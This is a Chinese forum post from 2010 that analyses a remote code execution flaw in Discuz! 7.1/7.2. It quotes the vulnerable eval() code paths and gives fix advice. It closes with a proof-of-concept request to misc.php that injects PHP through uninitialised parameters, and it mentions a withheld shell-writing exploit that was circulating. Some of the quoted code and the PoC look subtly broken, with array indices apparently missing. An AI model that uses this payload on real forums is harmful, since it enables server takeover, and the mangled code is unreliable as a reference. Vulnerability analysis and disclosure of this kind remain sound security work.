享你所想 發表於 2010-1-24 19:59:45

Discuz! 7.1 远程代码执行漏洞

截稿至此时,黑客X档案等一些使用discuz!最新版的论坛已被攻击进而无法访问。
<p>首先说一下,漏洞是t00ls核心群传出去的,xhming先去读的,然后我后来读的,读出来的都是代码执行,1月5日夜里11点多钟,在核心群的黑客们的要求下,xhming给了个poc,我给了个exp,确实发现的是同一个问题。截止夜里2点多种我下线,还只有t00ls核心群里几个人知道我给出的exp,可我怎么也想不到,经过半天时间,exp就满天飞了,而且确实出自昨天我的那个版本。</p>
<p>不难想象,exp流传的速度,A与B关系好,A发给B;B与C是好朋友,B发给C...总有人耐不住性子,泄露点风声,于是就人手一份。最受不了的是,竟然有些SB在群里拿来叫卖;实在不想说什么,要叫卖什么时候轮到你?人心不古,以后有的话还是自己藏着吧。</p>
<p>上午漏洞告诉了Saiy,DZ官方的补丁很快就出来了吧。</p>
<p><strong>特别说明:产生漏洞的$scriptlang数组在安装插件后已经初始化,因此有安装插件的用户不受影响。</strong></p>
<p><strong>漏洞介绍:</strong></p>
<p>Discuz!新版本7.1与7.2版本中的showmessage函数中eval中执行的参数未初始化,可以任意提交,从而可以执行任意PHP命令。</p>
<p><strong>漏洞分析:</strong></p>
<p>下面来分析下这个远程代码执行漏洞,这个问题真的很严重,可以直接写shell的:</p>
<p>一、漏洞来自showmessage函数:</p>
<p><code><span style="COLOR: #000000">function&nbsp;showmessage($message,&nbsp;$url_forward&nbsp;=&nbsp;'',&nbsp;$extra&nbsp;=&nbsp;'',&nbsp;$forwardtype&nbsp;=&nbsp;0)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;extract($GLOBALS,&nbsp;EXTR_SKIP);//危险的用法,未初始化的变量可以直接带进函数,直接导致了问题产生,from&nbsp;www.oldjun.com<br />&nbsp;&nbsp;&nbsp;&nbsp;global&nbsp;$hookscriptmessage,&nbsp;$extrahead,&nbsp;$discuz_uid,&nbsp;$discuz_action,&nbsp;$debuginfo,&nbsp;$seccode,&nbsp;$seccodestatus,&nbsp;$fid,&nbsp;$tid,&nbsp;$charset,&nbsp;$show_message,&nbsp;$inajax,&nbsp;$_DCACHE,&nbsp;$advlist;<br />&nbsp;&nbsp;&nbsp;&nbsp;define('CACHE_FORBIDDEN',&nbsp;TRUE);<br />&nbsp;&nbsp;&nbsp;&nbsp;$hookscriptmessage&nbsp;=&nbsp;$show_message&nbsp;=&nbsp;$message;$messagehandle&nbsp;=&nbsp;0;<br />&nbsp;&nbsp;&nbsp;&nbsp;$msgforward&nbsp;=&nbsp;unserialize($_DCACHE['settings']['msgforward']);<br />&nbsp;&nbsp;&nbsp;&nbsp;$refreshtime&nbsp;=&nbsp;intval($msgforward['refreshtime']);<br />&nbsp;&nbsp;&nbsp;&nbsp;$refreshtime&nbsp;=&nbsp;empty($forwardtype)&nbsp;?&nbsp;$refreshtime&nbsp;:&nbsp;($refreshtime&nbsp;?&nbsp;$refreshtime&nbsp;:&nbsp;3);<br />&nbsp;&nbsp;&nbsp;&nbsp;$msgforward['refreshtime']&nbsp;=&nbsp;$refreshtime&nbsp;*&nbsp;1000;<br />&nbsp;&nbsp;&nbsp;&nbsp;$url_forward&nbsp;=&nbsp;empty($url_forward)&nbsp;?&nbsp;''&nbsp;:&nbsp;(empty($_DCOOKIE['sid'])&nbsp;&amp;&amp;&nbsp;$transsidstatus&nbsp;?&nbsp;transsid($url_forward)&nbsp;:&nbsp;$url_forward);<br />&nbsp;&nbsp;&nbsp;&nbsp;$seccodecheck&nbsp;=&nbsp;$seccodestatus&nbsp;&amp;&nbsp;2;<br />&nbsp;&nbsp;&nbsp;&nbsp;if($_DCACHE['settings']['funcsiteid']&nbsp;&amp;&amp;&nbsp;$_DCACHE['settings']['funckey']&nbsp;&amp;&amp;&nbsp;$funcstatinfo&nbsp;&amp;&amp;&nbsp;!IS_ROBOT)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$statlogfile&nbsp;=&nbsp;DISCUZ_ROOT.'./forumdata/funcstat.log';<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if($fp&nbsp;=&nbsp;@fopen($statlogfile,&nbsp;'a'))&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;@flock($fp,&nbsp;2);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(is_array($funcstatinfo))&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$funcstatinfo&nbsp;=&nbsp;array_unique($funcstatinfo);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;foreach($funcstatinfo&nbsp;as&nbsp;$funcinfo)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fwrite($fp,&nbsp;funcstat_query($funcinfo,&nbsp;$message).&quot;\n&quot;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fwrite($fp,&nbsp;funcstat_query($funcstatinfo,&nbsp;$message).&quot;\n&quot;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fclose($fp);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$funcstatinfo&nbsp;=&nbsp;$GLOBALS['funcstatinfo']&nbsp;=&nbsp;'';<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;if(!defined('STAT_DISABLED')&nbsp;&amp;&amp;&nbsp;STAT_ID&nbsp;&gt;&nbsp;0&nbsp;&amp;&amp;&nbsp;!IS_ROBOT)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;write_statlog($message);<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;if($url_forward&nbsp;&amp;&amp;&nbsp;(!empty($quickforward)&nbsp;||&nbsp;empty($inajax)&nbsp;&amp;&amp;&nbsp;$msgforward['quick']&nbsp;&amp;&amp;&nbsp;$msgforward['messages']&nbsp;&amp;&amp;&nbsp;@in_array($message,&nbsp;$msgforward['messages'])))&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;updatesession();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dheader(&quot;location:&nbsp;&quot;.str_replace('&amp;amp;',&nbsp;'&amp;',&nbsp;$url_forward));<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;if(!empty($infloat))&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if($extra)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$messagehandle&nbsp;=&nbsp;$extra;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$extra&nbsp;=&nbsp;'';<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;if(in_array($extra,&nbsp;array('HALTED',&nbsp;'NOPERM')))&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$discuz_action&nbsp;=&nbsp;254;<br />&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$discuz_action&nbsp;=&nbsp;255;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;include&nbsp;language('messages');<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;$vars&nbsp;=&nbsp;explode(':',&nbsp;$message);//只要含:就可以了<br />&nbsp;&nbsp;&nbsp;&nbsp;if(count($vars)&nbsp;==&nbsp;2&nbsp;&amp;&amp;&nbsp;isset($scriptlang[$vars][$vars]))&nbsp;{//两个数字即可,用:分割<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;eval(&quot;\$show_message&nbsp;=&nbsp;\&quot;&quot;.str_replace('&quot;',&nbsp;'\&quot;',&nbsp;$scriptlang[$vars][$vars]).&quot;\&quot;;&quot;);//$scriptlang未初始化,可以自定义,from&nbsp;www.oldjun.com<br />&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;elseif(isset($language[$message]))&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$pre&nbsp;=&nbsp;$inajax&nbsp;?&nbsp;'ajax_'&nbsp;:&nbsp;'';<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;eval(&quot;\$show_message&nbsp;=&nbsp;\&quot;&quot;.(isset($language[$pre.$message])&nbsp;?&nbsp;$language[$pre.$message]&nbsp;:&nbsp;$language[$message]).&quot;\&quot;;&quot;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;unset($pre);<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;......<br />}</span> </code></p>
<p>二、DZ的全局机制导致了未初始化的参数可以任意提交:</p>
<p><code><span style="COLOR: #000000">foreach(array('_COOKIE',&nbsp;'_POST',&nbsp;'_GET')&nbsp;as&nbsp;$_request)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;foreach($$_request&nbsp;as&nbsp;$_key&nbsp;=&gt;&nbsp;$_value)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$_key{0}&nbsp;!=&nbsp;'_'&nbsp;&amp;&amp;&nbsp;$$_key&nbsp;=&nbsp;daddslashes($_value);<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />}</span> </code></p>
<p>三、misc.php正好有个可以自定义message的点,其实也是未初始化:</p>
<p><code><span style="COLOR: #000000">elseif($action&nbsp;==&nbsp;'imme_binding'&nbsp;&amp;&amp;&nbsp;$discuz_uid)&nbsp;{<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;if(isemail($id))&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$msn&nbsp;=&nbsp;$db-&gt;result_first(&quot;SELECT&nbsp;msn&nbsp;FROM&nbsp;{$tablepre}memberfields&nbsp;WHERE&nbsp;uid='$discuz_uid'&quot;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$msn&nbsp;=&nbsp;explode(&quot;\t&quot;,&nbsp;$msn);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$id&nbsp;=&nbsp;dhtmlspecialchars(substr($id,&nbsp;0,&nbsp;strpos($id,&nbsp;'@')));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$msn&nbsp;=&nbsp;&quot;$msn\t$id&quot;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$db-&gt;query(&quot;UPDATE&nbsp;{$tablepre}memberfields&nbsp;SET&nbsp;msn='$msn'&nbsp;WHERE&nbsp;uid='$discuz_uid'&quot;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;showmessage('msn_binding_succeed',&nbsp;'memcp.php');<br />&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if($result&nbsp;==&nbsp;'Declined')&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dheader(&quot;Location:&nbsp;memcp.php&quot;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;showmessage($response['result']);//$response没有初始化,可以自定义,from&nbsp;www.oldjun.com<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;}</span> </code></p>
<p><strong>四、漏洞利用:</strong></p>
<p>showmessage函数里$vars = explode(':', $message);然后message可以自己控制,于是就很容易了,参数是两个自定义的数组。</p>
<p><strong>五、漏洞修复:</strong></p>
<p>1.有补丁的打补丁;<br />2.没有补丁可以暂时先注释引起漏洞的语句,或者对两个变量赋个值。</p>
<p><strong>poc:</strong></p>
<p>(应Saiy的要求,不发exp了!)注册一个用户登陆,然后提交<br />misc.php?action=imme_binding&amp;response=1:2&amp;scriptlang={${phpinfo()}}</p>
頁: [1]
查看完整版本: Discuz! 7.1 远程代码执行漏洞